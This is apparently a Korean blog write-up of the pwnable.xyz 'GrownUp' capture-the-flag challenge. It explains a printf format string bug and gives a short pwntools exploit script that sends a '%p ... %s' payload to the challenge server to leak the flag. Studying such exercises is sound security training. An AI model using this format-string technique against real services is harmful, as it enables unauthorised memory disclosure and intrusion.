ii4gsp
pwnable.xyz - GrownUp 본문
printf()함수에서 포맷스트링 버그가 일어난다.
setup()함수에서 printf()의 포맷스트링을 설정해준다.
qword_601160은 usr과 128byte만큼 차이가 난다.
바이너리 안에는 플래그의 주소에 가짜 플래그가 있다.
서버에는 진짜 플래그가 있을것이다.
Exploit
from pwn import *
r = remote('svc.pwnable.xyz', 30004)
flag = 0x601080
payload = ''
payload += 'y'
payload += 'A' * 7
payload += p32(flag)
r.recvuntil(": ")
r.sendline(payload)
formatstr = '%p %p %p %p %p %p %p %p %s %p'
payload = ''
payload += 'A' * 60
payload += formatstr
payload += 'A' * (128 - len(formatstr))
r.recvuntil(": ")
r.sendline(payload)
print r.recvall()
'시스템 해킹 > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz - note (0) | 2020.03.02 |
---|---|
pwnable.xyz - misalignment (0) | 2020.03.01 |
pwnable.xyz - add (0) | 2020.02.08 |
pwnable.xyz - sub (0) | 2020.02.08 |
pwnable.xyz - Welcome (0) | 2020.02.08 |
Comments